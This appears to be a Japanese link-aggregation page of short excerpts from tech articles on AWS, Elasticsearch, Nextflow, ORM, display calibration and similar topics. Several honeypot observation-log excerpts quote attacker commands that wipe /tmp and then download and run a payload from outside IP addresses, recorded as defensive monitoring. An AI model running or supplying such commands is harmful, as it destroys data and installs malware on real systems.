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  • ElasticsearchのMetrics aggregationsのさわり - はてだBlog(仮称)

    ElasticsearchのMetrics aggregationsは、その名の通り?統計的なAggregationsです。 www.elastic.co 機能充実はありたがたいもののその分だけ数も多いですね。 それぞれの名称、SQLや他の言語などでの関数名と類似性から、得られる値や使い方は同じような用法だろうなーと推測はされるものの、実際必要になるまでは試す気にもならずということで私自身も食わず嫌いではあるのですが、見た目から入って入門するというのが良いのではと思い、ちょいと変則的な切り口でまとめてみました... という記事です。 Metrics aggregationsのよくある「型」 さっそくですが、Metrics aggregationsらは、つまるところ集計関数です。 QueryDSLで得られた検索結果ドキュメント一覧に対して、なんらかの集計などを行います。 集計を行うからには、

      ElasticsearchのMetrics aggregationsのさわり - はてだBlog(仮称)
    • MVCモデル

      MVCとは、Model-View-Controllerの略であり、ソフトウェア開発における設計モデルの一種である。 アプリケーションをModel(データ)、View(表示)、Controller(制御)の3つのコンポーネントに分割し、それぞれの役割を明確にすることで、開発効率や保守性の向上を目指す。 MVCモデルの構成要素 MVCモデルは、Model(モデル)、View(ビュー)、Controller(コントローラー)の3つの主要なコンポーネントから構成される。それぞれのコンポーネントは明確な役割を持ち、連携することでアプリケーション全体の機能を実現する。 Model(モデル) Modelは、アプリケーションが扱うデータやビジネスロジックを表現する。データベースとのやり取り、データの検証、加工など、データに関する処理全般を担当する。Modelは、ViewやControllerから独立してお

        MVCモデル
      • Nextflowを使ってバイオインフォマティクスのツールを動かす - macでインフォマティクス

        2021 5/5 コードのsamtoolsへパイプする部分でWSLのランがエラーになったため、改行を除去 2021 5/9 画像追加 Nextflowなどのworkflow managerを使って解析パイプラインを記述しておくことで、再現性のある解析が可能になります。午後の空き時間を使って簡単なコードを書いてみました。 Nextflow: omics解析のような大規模な生物学的解析向けのワークフロー管理システム。Nextflowはリアクティブプログラミングを採用しており、非同期性の計算を単純なコードで記述できる。 HP https://www.nextflow.io Documentatiobn https://www.nextflow.io/docs/latest/index.html インストール 依存(installより) Nextflow can be used on any PO

          Nextflowを使ってバイオインフォマティクスのツールを動かす - macでインフォマティクス
        • S3・SQS・Lambdaで自動マスタリングアプリを作る - Qiita

          概要 今回は、AWSのSQS・Lambdaを練習も兼ねて触ってみようということで自動マスタリングアプリを開発しました。 ちなみにマスタリングとは、音楽制作の最終工程であり、最終的に配信やCDプレスするために音質を整える作業のことです。 ※ファイルをS3にアップロード・ダウンロードするUI等は実装しません。 音圧爆上げくんとは AIを使用したマスタリングを、オンラインで自動的に行なってくれるサービスです。 以前は有料機能もあったようですが、2024年3月17日現在は無料で使えます。 APIが提供されており、今回使用させていただきました。 実装には、こちらのチュートリアルが役立ちます。 成果物 今回開発したアプリの使い方の説明です。 1. 音声ファイルをS3バケットに配置する 1-a. マスタリング待ち(音圧爆上げくん開発者向けページ) 1-b. マスタリング中 1-c. マスタリング完了!

            S3・SQS・Lambdaで自動マスタリングアプリを作る - Qiita
          • 2023/12/06 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

            ハニーポット(仮) 観測記録 2023/12/06分です。 特徴 共通 zgrabによるスキャン行為 /.envへのスキャン行為 phpMyAdminへのスキャン行為 Location:JP CensysInspectによるスキャン行為 curlによるスキャン行為 /.awsへのスキャン行為 configファイルへのスキャン行為 5.188.210.227に関する不正通信 を確認しました。 Location:US GPONルータの脆弱性を狙うアクセス Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス CensysInspectによるスキャン行為 curlによるスキャン行為 .cssへのスキャン行為 /.gitへのスキャン行為 Apache Tomcatへのスキャン行為 を確認しました。 Location:UK GPONルータの脆弱性を狙うアクセ

              2023/12/06 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
            • 2023/09/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

              ハニーポット(仮) 観測記録 2023/09/11分です。 特徴 共通 CensysInspectによるスキャン行為 zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP curlによるスキャン行為 /.gitへのスキャン行為 Gh0stRATのような動き UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws Location:US GPONルータの脆弱性を狙うアクセス /.gitへのスキャン行為 phpMyAdminへのスキャン行為 Gh0stRATのような動き を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; w

                2023/09/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
              • 悪魔くん | Netflix (ネットフリックス) 公式サイト

                '); doc.close(); } if (!doc) throw Error('base not supported'); var baseTag = doc.createElement('base'); baseTag.href = base; doc.getElementsByTagName('head')[0].appendChild(baseTag); var anchor = doc.createElement('a'); anchor.href = url; return anchor.href; } finally { if (iframe) iframe.parentNode.removeChild(iframe); } }()); } // An inner object implementing URLUtils (either a native URL // ob

                  悪魔くん | Netflix (ネットフリックス) 公式サイト
                • Amazon MemoryDB のベクトル検索を一般公開 | Amazon Web Services

                  Amazon Web Services ブログ Amazon MemoryDB のベクトル検索を一般公開 7月10日、Amazon MemoryDB のベクトル検索の一般提供についてお知らせします。これは、インメモリパフォーマンスとマルチ AZ 耐久性を備えたリアルタイム機械学習 (ML) および生成人工知能 (生成 AI) アプリケーションの開発用の新機能で、ベクトルの保存、インデックス作成、取得、検索に使用できます。 今回のリリースにより、Amazon MemoryDB は、Amazon Web Services (AWS) で人気の高いベクトルデータベースの中で、最も高いリコール率での最速のベクトル検索パフォーマンスを実現しました。従来、緊張関係にあったスループット、リコール、レイテンシーのトレードオフを行う必要はもうありません。 1 つの MemoryDB データベースを使用して、

                    Amazon MemoryDB のベクトル検索を一般公開 | Amazon Web Services
                  • 価値は文化をつくることで生まれる - 山内裕/佐藤那央

                    はじめに 価値はわかりにくい概念である.モノ自体に価値があるわけではないという現実に直面したことで,価値そのものではなく,それが動的に創造される過程に注目が集まることになった.そこでは価値自体に何らかの本質があるのではなく,限定された文脈の中でのみ決定されるとされ,結果的に価値を普遍的な構造に結びつけることができなくなった. それでも,価値を議論するときに,何か安心できる拠り所を求めてしまいがちである.そのうちの一つが,価値を個人の主観に還元する方法である.しかし,価値は主観に対して現象学的に決定されるという定式化は,価値がひとりの人によって作られるものではなく,複数の人々,そして人以外のものが連携して共創するものであるという主張と矛盾する(山内 & 佐藤,2017).共創されるならば,価値は主観性に閉じた概念ではなく,相互主観性の水準で議論されなければならない.一方で,価値を安定させ,根

                      価値は文化をつくることで生まれる - 山内裕/佐藤那央
                    • 低価格なドローン用LiDARソリューション「MNM Lidar System」

                      MNMLSには、タクティクスグレードの慣性計測ユニット (IMU) と多周波GNSS受信機が搭載されている。この2つのコンポーネントを組み合わせることで、高精度の慣性航法システム (INS)が構成されている。システムは、シングル、ダブル、トリプルリターンを記録できるマルチリターン・ライダースキャナーを使用している。 MNMLSでは、プッシュボタンによるデータロギングが可能だが、システムチェック、IMUのキャリブレーション、データロギングなどを行うためのウェブアプリのインターフェースも搭載されている。MNMLSはスカイポートマウント(電源のみ)が標準装備されているが、カスタムマウントを使用することで、あらゆるドローン(VTOL、固定翼、マルチローター)に搭載できる。 全てのMNMLSの購入には、Mad Nadir Mapping Lidar Processor (MNMLP)ソフトウェアの永

                        低価格なドローン用LiDARソリューション「MNM Lidar System」
                      • WebFrontendのモニタリングツールとSourceMap - Chatwork Creator's Note

                        こんにちは、フロントエンド開発部のcw-suetake 🐧です。この記事はChatwork Product Day 2023の応援記事です。 lp.chatwork.com 今回はSourceMapとモニタリングツールの話をしていきます。 SourceMapとは 早速ですがSourceMapについて軽く中身をご紹介します。 JavaScript周辺のビルドツールでは多くの最適化・圧縮等が行われ、最終的な生成物のみではデバッグの難易度が高いという問題がありました。この問題に対応するために生成物と元のコードを相互にマッピングし、生成物を実行しつつ元コードを見ながらデバッグができるという仕組みのために主にビルドツールが作成するファイルです。Source Map Revision 3 Proposal にて仕様が提案されtc39/source-map-spec にて整理されています。 Sourc

                          WebFrontendのモニタリングツールとSourceMap - Chatwork Creator's Note
                        • 開発を支える技術 ~ORMフレームワーク編~ - Qiita

                          ORM(Object-Relational Mapping)とは? 下手な説明をするよりも、Wikipediaに頼った方が確実なので、まずは概要を抜粋させていただきます。 オブジェクト関係マッピング(英: Object-relational mapping、O/RM、ORM)とは、データベースとオブジェクト指向プログラミング言語の間の非互換なデータを変換するプログラミング技法である。オブジェクト関連マッピングとも呼ぶ。 具体的に言うと、オブジェクト指向プログラミング言語(Java,C#...)におけるオブジェクトと関係データベース(Olacle,MySQL...)におけるレコードを「対応づける(Mapping)」プログラミング技法のことです。 ORMをなぜ使うのか? オブジェクト指向プログラミング(以下,OOP:Object-oriented programming)と関係データベース(以

                            開発を支える技術 ~ORMフレームワーク編~ - Qiita
                          • 2023/12/29 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                            ハニーポット(仮) 観測記録 2023/12/29分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス .jsへのスキャン行為 /.envへのスキャン行為 Location:JP IDBTE4M CODE87によるスキャン行為 /.gitへのスキャン行為 Gh0stRATのような動き を確認しました。 Location:US Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス CensysInspectによるスキャン行為 /.gitへのスキャン行為 WordPress Pluginへのスキャン行為 WordPressへのスキャン行為 configファイルへのスキャン行為 phpMyAdminへのスキャン行為 を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 93.123.8

                              2023/12/29 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                            • VPC間のAWS PrivateLinkを試してみた | DevelopersIO

                              こんにちは!DA(データアナリティクス)事業本部 サービスソリューション部の大高です。 AWS PrivateLinkを利用すると、ネットワーク間をトラフィックをインターネットを経由させることなく、プライベートに通信することができます。 利用できる通信は、VPC、AWSのサービス、オンプレミスネットワークに対する通信がありますが、今回はVPC間のAWS PrivateLinkを試してみたいと思います。 やりたいこと 最終的に試したい構成は以下のような構成になります。 「Service Consumer VPC 内の EC2 インスタンス」から、「Service Provider VPC 内の EC 2インスタンス」へ簡単な通信を行い、うまく通信できているかを試したいです。 下準備 この構成への下準備として、CloudFormationテンプレートを利用して以下のような構成を作成します。 こ

                                VPC間のAWS PrivateLinkを試してみた | DevelopersIO
                              • Display Pro HL を購入してゲーミングモニターのキャリブレーションを行い、その後に ArgyllCMS を使った効果確認を行った - toruのブログ

                                1. 背景 筆者は自宅でゲーミングモニターをメインモニターとして使っている ゲーミング用途のため色ズレは気にしない方針だったが、今後のことを考えてモニターのキャリブレーションを行うことにした*1 そこで Calibrite製の Display Pro HL を購入してキャリブレーションを行った キャリブレーションは Calibrite PROFILER を使ったが、効果確認は ArgyllCMS という別のソフトウェアを使った*2 作業行う中で色々と知見を得ることができたので記事にまとめることにした 2. 目的 Calibrite製の Display Pro HL を使いゲーミングモニターのキャリブーレションを行う キャリブレーションソフトウェアには Calibrite PROFILER を使用する ArgyllCMS という別ソフトを使いキャリブレーション後の効果確認を行う Photos

                                  Display Pro HL を購入してゲーミングモニターのキャリブレーションを行い、その後に ArgyllCMS を使った効果確認を行った - toruのブログ
                                • 「未来」を写す写真家リアム・ウォン:今後のデザイン業界に期待する2つのこと - GEMINI Laboratory

                                  「未来」を写す写真家リアム・ウォン:今後のデザイン業界に期待する2つのこと {Published} Apr 15, 2024 {Unit} Community {Subject} 視点を変える 文脈を保管する 空間を持ち運ぶ テクノロジー、クリエイティビティ、ヒューマン・インタラクションの融合で未来を描く 第1回GEMINI Laboratory Global Design Awardsの審査員として、ディレクター、ゲームデザイナー、写真家として著名なリアム・ウォンが、デザインの未来と自身の興味関心を惹きつけるプロジェクトについての洞察を語る。フォーブス誌の世界を変える「30歳未満の30人」に選ばれ、『ファークライ』シリーズのような大ヒットゲームの製作にも携わるウォン。仮想世界(バーチャル)と物理世界(フィジカル)の融合から生まれる斬新なアイデアに注目したこのアワードにおける彼ならではのユ

                                    「未来」を写す写真家リアム・ウォン:今後のデザイン業界に期待する2つのこと - GEMINI Laboratory
                                  • Power BI SSO からSnowflakeへ | Snowflake Documentation

                                    Power BI SSO からSnowflakeへ¶ このトピックでは、Microsoft Power BI を使用してSnowflakeセッションをインスタンス化し、シングルサインオン(SSO)を使用してSnowflakeにアクセスする方法について説明します。 このトピックの内容: 概要¶ Snowflakeにより、Microsoft Power BI ユーザーは、IDプロバイダー認証情報と OAuth 2.0実装を使用してSnowflakeに接続し、Snowflakeのデータにアクセスするための SSO エクスペリエンスを提供できるようになります。 Power BI サービスは埋め込みSnowflakeドライバーを使用してSnowflakeに接続するため、この機能により、オンプレミスのPower BI ゲートウェイの実装が不要になります。 一般的なワークフロー¶ 次の図は、Power

                                    • Cognitoの外部IDPとしてAzure ADを設定してみた - サーバーワークスエンジニアブログ

                                      こんにちは。AWS CLIが好きな福島です。 はじめに 参考 構成イメージ やること ①Cognitoのユーザープール作成[AWS] ②ユーザープールへのドメイン追加[AWS] ③エンタープライズアプリケーションの作成[Azure] ④シングルサインオンの設定[Azure] ⑤ユーザーまたはグループの追加[Azure] ⑥Cognitoの外部IDP設定[AWS] ⑦アプリクライアントの作成[AWS] ⑧動作確認 終わりに はじめに 今回は案件で利用しそうなため、Cognitoの外部IDPとしてAzure ADを設定してみました。 参考 https://aws.amazon.com/jp/blogs/security/how-to-set-up-amazon-cognito-for-federated-authentication-using-azure-ad/ 構成イメージ やること ①C

                                        Cognitoの外部IDPとしてAzure ADを設定してみた - サーバーワークスエンジニアブログ
                                      • 2023/11/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                                        ハニーポット(仮) 観測記録 2023/11/18分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス CensysInspectによるスキャン行為 zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP D-link製品の脆弱性を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス curlによるスキャン行為 .jsへのスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 phpMyAdminへのスキャン行為 を確認しました。 Location:US Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス curlによるスキャン行為 .jsへのスキャン行為 を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget

                                          2023/11/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                                        • 独習JSP&サーブレット 第3版 - WINGS

                                          山田祥寛/著 株式会社 翔泳社/発行 定価 3,960円 B5変版・ 576ページ・ 2色 ISBN 978-4-7981-6705-3 発刊日: 2021年12月21日 本書の特徴 JSP&サーブレットを基礎からきちんとを学ぼう Javaの基本をマスターした方向け、Webアプリ開発の入門書です。 JSP&サーブレットの基礎からDB連携、便利なライブラリの使い方まで、1つ1つやさしく丁寧に解説します。第3版ではJakarta EE/サーブレット5.0に対応したほか、Visual Studio Codeを使った開発&新機能の解説など全面的な改訂を行っています。 掲載サンプルはサポートサイトからダウンロードできます。 まとめて読んで 更にスキルアップのこんな書籍 ・Javaを使いこなすリファレンス「改訂3版Javaポケットリファレンス」(技術評論社)・JavaフレームワークSpring Boo

                                          • I asked AI about quantum mechanics. - Asked_AI 2024

                                            1. Basic Concepts of Quantum Mechanics 1-1 Wave-Particle Duality Normally objects appear either as “particles” or “waves.” For example, a baseball behaves like a particle, while sound spreads like a wave. However, in the quantum world, photons (particles of light) and electrons can spread like waves and bounce like particles. This is similar to how water waves reflect off a stone, but at the same

                                              I asked AI about quantum mechanics. - Asked_AI 2024
                                            • 【静止画編】Windows 11 で HDR コンテンツを「オリジナルのまま加工せずに」モニターへ出力する - toruのブログ

                                              0. 更新履歴 日付 内容 2024.07.30 公開 2024.07.31 ・図3 のキャプションの誤記修正 ・3.5. に検証環境を追記 1. はじめに 本記事は前回の記事の続き(静止画編)である。 trev16.hatenablog.com 2. 目的 Windows 11 で静止画の HDRコンテンツをオリジナルのまま加工せずにモニターへ出力する方法をまとめる 具体的には以下の手順で調査を行う ① Windows で現実的に利用可能な HDR対応の静止画フォーマットについて調べる ② HDR対応の静止画が各種アプリケーション上でどのように加工されるか調べる ③ 加工を防ぐ方法をまとめる 3. まとめ 3.1. Windows で現実的に利用可能な HDR対応の静止画フォーマットについて ISO HDR と呼ばれる規格をサポートした静止画のフォーマットの代表例として HEIF, AV

                                                【静止画編】Windows 11 で HDR コンテンツを「オリジナルのまま加工せずに」モニターへ出力する - toruのブログ
                                              • 【2022年版】Niantic Lightship ARDKでできること | WebAR Lab - WebARの最新情報がわかるメディア

                                                Lightship ARDKとは? 2021年5月に一般公開された、ARを作成するSDKです。「Pokémon GO」をはじめとするARゲームを開発してきた経験をもとに構築された、Nianticのゲームの基盤となるものとして公開されました。 これを使用することで、Nianticの掲げる「リアルワールド メタバース」を実現できるようになるとしています。 Lightship ARDKには大きく3つの機能を目的に作られており、Mapping (リアルタイムでの現実世界の再現)、Understanding (環境の理解)、Sharing (体験の共有)と呼ばれています。ここにVPSが加わった形です。 詳しくみていきましょう。 Mapping(リアルタイムでの現実世界の再現) 現実世界の奥行きや、表面がどうなっているかを認識する技術です。 具体的には、メッシュ作成・オクルージョンが挙げられます。カメ

                                                • [Amazon FSx for NetApp ONTAP] マルチプロトコルアクセスをActive DirectoryやLDAPを使わずに設定してみた | DevelopersIO

                                                  [Amazon FSx for NetApp ONTAP] マルチプロトコルアクセスをActive DirectoryやLDAPを使わずに設定してみた マルチプロトコルアクセスを実装したいけどActive Directoryがないぞ こんにちは、のんピ(@non____97)です。 皆さんはActive Directory(以降AD)やLDAPがない環境において、Aamzon FSx for NetApp ONTAP(以降FSxN)のマルチプロトコルアクセスを行いたいなと思ったことはありますか? 私はあります。 以前、以下記事でFSxN上の同じファイルに対してNFSとSMBの複数のプロトコルでアクセスできることを紹介しました。 マルチプロトコルアクセスを実現する際はユーザーマッピングが必要となります。 上述の記事ではNFSクライアントのLinuxマシンをドメイン参加し、ADユーザーにネーム

                                                    [Amazon FSx for NetApp ONTAP] マルチプロトコルアクセスをActive DirectoryやLDAPを使わずに設定してみた | DevelopersIO
                                                  • 【R】3.4.3:多次元ガウス分布の学習と予測の実装:平均・精度が未知の場合【緑ベイズ入門のノート】 - からっぽのしょこ

                                                    はじめに 『ベイズ推論による機械学習入門』の学習時のノートです。「数式の行間を読んでみた」とそれを「RとPythonで組んでみた」によって、「数式」と「プログラム」から理解するのが目標です。 省略してある内容等ありますので、本とあわせて読んでください。 この記事では、「尤度関数を平均と精度が未知の多次元ガウス分布(多変量正規分布)」、「事前分布をガウス・ウィシャート分布」とした場合の「パラメータの事後分布」と「未観測値の予測分布」の計算をR言語で実装します。 【数式読解編】 www.anarchive-beta.com 【前の節の内容】 www.anarchive-beta.com 【他の節の内容】 www.anarchive-beta.com 【この節の内容】 はじめに 3.4.3 多次元ガウス分布の学習と予測:平均・精度が未知の場合 ベイズ推論の実装 生成分布の設定 データの生成 事前

                                                      【R】3.4.3:多次元ガウス分布の学習と予測の実装:平均・精度が未知の場合【緑ベイズ入門のノート】 - からっぽのしょこ
                                                    • 2023/10/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                                                      ハニーポット(仮) 観測記録 2023/10/11分です。 特徴 共通 zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP Spring Bootの脆弱性を狙うアクセス .jsへのスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 configファイルへのスキャン行為 を確認しました。 Location:US GPONルータの脆弱性を狙うアクセス CensysInspectによるスキャン行為 WordPressへのスキャン行為 Gh0stRATのような動き UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 80.94.92.7/jaws; sh /tmp/jaws cd /tmp; rm -rf *; wget 94

                                                        2023/10/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                                                      • 2023/09/19 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                                                        ハニーポット(仮) 観測記録 2023/09/19分です。 特徴 共通 CensysInspectによるスキャン行為 /.envへのスキャン行為 Location:JP Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス curlによるスキャン行為 .jsへのスキャン行為 /.gitへのスキャン行為 Laravelへのスキャン行為 を確認しました。 Location:US GPONルータの脆弱性を狙うアクセス Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス .jsへのスキャン行為 WordPress Pluginへのスキャン行為 を確認しました。 Location:UK GPONルータの脆弱性を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(

                                                          2023/09/19 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                                                        • 【AWS】今年度学習したAWSサービスの特徴をまとめておく - AWS Machine Learning編 - Vの技術ブログ

                                                          概要 インフラ系のクラウドエンジニアとして、日々自己研鑽に努めています。 本投稿は今年度の学習のまとめとして、今後も覚えておきたい情報を記載したものです。 Machine Learningに含まれるサービスの特徴と効果的に活用するためのTipsを記載しています。また、サービスを利用するときに必要となる一般的な機械学習に関するナレッジも用語集的に整理しています。 記載内容は、AWS公式ドキュメントやインターネットから拾い集めた情報を個人的に解釈した結果を記載しています。実機確認等による裏付けがされた内容ではない点、ご留意ください。また、私は機械学習エンジニアではないため、特に"一般的な機械学習に関するナレッジ"はおおよそのイメージで記載しており、正確性に欠ける記載が多いかもしれません。あらかじめご了承ください。 AI services Forecast 時系列データの学習。多数のビルトインア

                                                            【AWS】今年度学習したAWSサービスの特徴をまとめておく - AWS Machine Learning編 - Vの技術ブログ
                                                          • 高まるビジネス環境の不確実性 Anaplanが取る戦略と新たな発表内容とは

                                                            Anaplanの中田 淳氏(社長 執行役員)は説明会の冒頭に「史上初や数十年ぶりといった想定外の変化がビジネス環境で起きており、不確実性が高まっている。その結果、将来に向けた計画頻度も多くなっている」と話した。同氏によれば、従来の計画業務は一般的に手作業のプロセスが多く工数がかかっていた。また、計画立案の中核となる部署の連携なども難しかった。これでは「ヒト、カネ、モノをどこに投入すべきか」などを判断できず、変化の激しいビジネス環境に追従できない。 「従来のスプレッドシートやBIツールによるプランニングから、単一のプラットフォームによる企業全体での計画業務の推進に変化しなければなりません」(中田氏) 企業の事業計画立案を支援するAnaplanは、顧客に関わる3つの施策として以下を掲げている。 顧客の価値実現までの時間とエコシステムのキャパシティーを劇的に向上 プラットフォーム「Anaplan

                                                              高まるビジネス環境の不確実性 Anaplanが取る戦略と新たな発表内容とは
                                                            • Linux で DMA Bufferを mmap した時に CPU Cacheが無効になる場合がある (所感) - Qiita

                                                              はじめに Linux では DMA Bufferを mmap した時に、ある条件が揃うと CPU Cache が無効になり、パフォーマンスが極端に落ちる場合があります。そこで、何故そのようなことが起こるのか説明します。少し長くなるので、次のように記事を幾つかに分けて投稿します。 はじめに Cache Coherence 問題 Cache Aliasing 問題 Linux Kernel の Cache 問題の扱い Linux では Cache Coherence Hardware を持っていないとDMA Buffer をmmap する際に CPU Cache が無効になる Raspberry Pi の例 RISC-V CPU の注意点 所感(この記事) 1〜3は、コンピューターアーキテクチャの基本的な事項を、簡単に説明したものです。すでにご存じの方は読み飛ばしてください。 4 はこれらの問

                                                                Linux で DMA Bufferを mmap した時に CPU Cacheが無効になる場合がある (所感) - Qiita
                                                              • Fixed AdaCosのすすめ:固定スケールで使おう! | 「AIのちからを簡単に」東海顔認証

                                                                簡単な分類問題を、単純なネットワークで解決した場合、CrossEntropy Lossでも良い結果を残しています。 しかし、Fixed AdaCosも良いスコアです。 loss_test_face_recognition.py import math import matplotlib.pyplot as plt import numpy as np import timm import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from pytorch_metric_learning import losses, regularizers, samplers from sklearn.neighbors import KNeighborsClassifie

                                                                • 【研究】ストレスが軽減されると髪の色は元に戻る可能性がある(コロンビア大学)【要約】

                                                                  年をとるごとに体の不調には悩まされるのが生物ですが、男性も女性に共通して現れる見た目の変化といえば白髪の増加ではないでしょうか。 もともと髪の毛は一本一本が白い状態で生え、色素細胞(メラノサイトなど)によって着色されていきます。 この色素細胞の機能低下や機能停止によって髪の毛の着色ができず、白い毛のまま成長することで白髪と呼ばれる状態になります。 こういった細胞は、ストレスによって不活性化することで、着色する機能が失われてしまうといわれています。 とある逸話では、フランス革命中に囚われの身となったマリー・アントワネットが、一晩で白髪になってしまったとか……。 実際、グレーだったマリーの髪の毛がたった一夜にして真っ白になるということは信じがたいことですが、長期的にみるとそういうこともありえるようです。 今回はそんな白髪についての研究のお話です。 マリー・アントワネット 参考記事) ・Evid

                                                                    【研究】ストレスが軽減されると髪の色は元に戻る可能性がある(コロンビア大学)【要約】
                                                                  • 経済圏に自分の経済活動を支配されないために|wentz

                                                                    本記事は、2024.02.15開催の「おかねのミートアップ」にて@wentz_designが登壇した際の発表内容です。発表時からわずかに編集してますが、内容は同じです。 発表内容は最後まで無料でご覧いただけますが、当日懇親会で一部の方にお見せした発表中の資料を含む以下のDLCを有料部分に掲載しています。 発表資料のFigmaファイル(スライド・コンポーネント付き) Money Stream Mappingの現状分析と支払い方法チャートのFigJamテンプレートファイル(サンプル) Notionの定例会アジェンダのテンプレート(サンプル) 私に珈琲一杯分ご馳走いただき、見返りとして情報提供させていただくような価格設定になっています。物好きな方はどうぞ。 以下、発表内容のスライドです。 発表スライド自己紹介:うえんつ/@wentz_design B2B SaaS企業のデジタルプロダクトデザイナ

                                                                      経済圏に自分の経済活動を支配されないために|wentz
                                                                    • 牛丼 - 蓋付きどんぶりセット【3Dモデル】 - とむぬーく - BOOTH

                                                                      ファイル形式: CINEMA4D / Blender / FBX / OBJ マテリアル設定済みフォーマット: Corona renderer (.c4d) Cycles (.blend) データ内容: - GYUDON_DONBURI_Set_corona.c4d - GYUDON_DONBURI_Set.c4d - GYUDON_DONBURI_Set.blend - GYUDON_Low-Poly.fbx - GYUDON_Low-Poly.obj - GYUDON_Low-Poly.mtl - GYUDON_High-Poly.fbx - GYUDON_High-Poly.obj - GYUDON_High-Poly.mtl - DONBURI_Low-Poly.fbx - DONBURI_Low-Poly.obj - DONBURI_Low-Poly.mtl - DONBURI_

                                                                        牛丼 - 蓋付きどんぶりセット【3Dモデル】 - とむぬーく - BOOTH
                                                                      • ハウ・トゥー・ゲット・リッチ | Netflix (ネットフリックス) 公式サイト

                                                                        '); doc.close(); } if (!doc) throw Error('base not supported'); var baseTag = doc.createElement('base'); baseTag.href = base; doc.getElementsByTagName('head')[0].appendChild(baseTag); var anchor = doc.createElement('a'); anchor.href = url; return anchor.href; } finally { if (iframe) iframe.parentNode.removeChild(iframe); } }()); } // An inner object implementing URLUtils (either a native URL // ob

                                                                          ハウ・トゥー・ゲット・リッチ | Netflix (ネットフリックス) 公式サイト
                                                                        • 盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文 - じゃあ、おうちで学べる

                                                                          誕生日エントリー兼読書感想文です。 www.amazon.jp はじめに クラウドコンピューティングの普及とマイクロサービスアーキテクチャの台頭により、システムの複雑性が増大しています。そのような中で、オブザーバビリティ(可観測性)の重要性が高まっています。本書「Cloud Observability in Action」は、クラウドネイティブなシステムにおけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。 learning.oreilly.com オブザーバビリティとは、システムの外部から観測できる情報に基づいて、内部の状態を推論し理解する能力のことを指します。本書では、オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。OpenTelemetryやPrometheus、Grafana、Loki、Jaege

                                                                            盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文 - じゃあ、おうちで学べる
                                                                          • RFC 7597 - Mapping of Address and Port with Encapsulation (MAP-E) 日本語訳

                                                                            RFC 7597 - Mapping of Address and Port with Encapsulation (MAP-E) 日本語訳 原文URL : https://datatracker.ietf.org/doc/html/rfc7597 タイトル : RFC 7597 - カプセル化によるアドレスとポートのマッピング(MAP-E) 翻訳編集 : 自動生成 [要約] RFC 7597は、MAP-Eと呼ばれるアドレスとポートのマッピングを行うための仕様書です。MAP-Eの目的は、IPv4アドレスをIPv6アドレスに変換するための効果的な方法を提供することです。 Internet Engineering Task Force (IETF) O. Troan, Ed. Request for Comments: 7597 W. Dec Category: Standards Track

                                                                            • AWS GlueのJobをAWS CDKで管理する - Qiita

                                                                              はじめに 私たちのチームでは、企業が利用している人事システムなどのデータを取り込み、集計して、人的資本にまつわる様々な指標を表示したり、業界平均などと比較することのできるWebアプリケーションを開発しています。 取り込んだデータの集計処理にAWS GlueのJob(以下、Glue Job)を利用しています。 また、アプリケーション全体はAWS Cloud Development Kit(以下、AWS CDK)によって構成管理されており、その中にはGlue Jobも含まれます。 Glue JobをAWS CDKで構成管理する際に、工夫した点や躓いた点があったため、この記事で紹介しようと思います。 アプリケーションの全体像 上の図は、我々のWebアプリケーションの構成図です。 ユーザーがブラウザからアプリケーションにアクセスすると、CloudFront + S3の構成から配信されたリソースが表

                                                                                AWS GlueのJobをAWS CDKで管理する - Qiita
                                                                              • Knowledge Bases for Amazon Bedrock (with OpenSearch Serverless)をSAMで実装してみた | DevelopersIO

                                                                                Knowledge Bases for Amazon Bedrock (with OpenSearch Serverless)をSAMで実装してみた こんにちは、つくぼし(tsukuboshi0755)です! Knowledge Bases for Amazon Bedrockが東京リージョンにやってきた事で、RAG構成の候補としてKnowledge Basesをより使いやすくなったかと思います。 以前Knowledge Basesを用いたRAG構成として、ベクターストアにAuroraを利用したパターンをCloudFormationで作成しました。 ただ多くの方々は、Knowledge Basesコンソールのクイック作成でも用いられる、ベクターストアにOpenSearch Serverlessを利用したパターンで作成する事が多いのではないでしょうか。 そこで今回は、ベクターストアにOpen

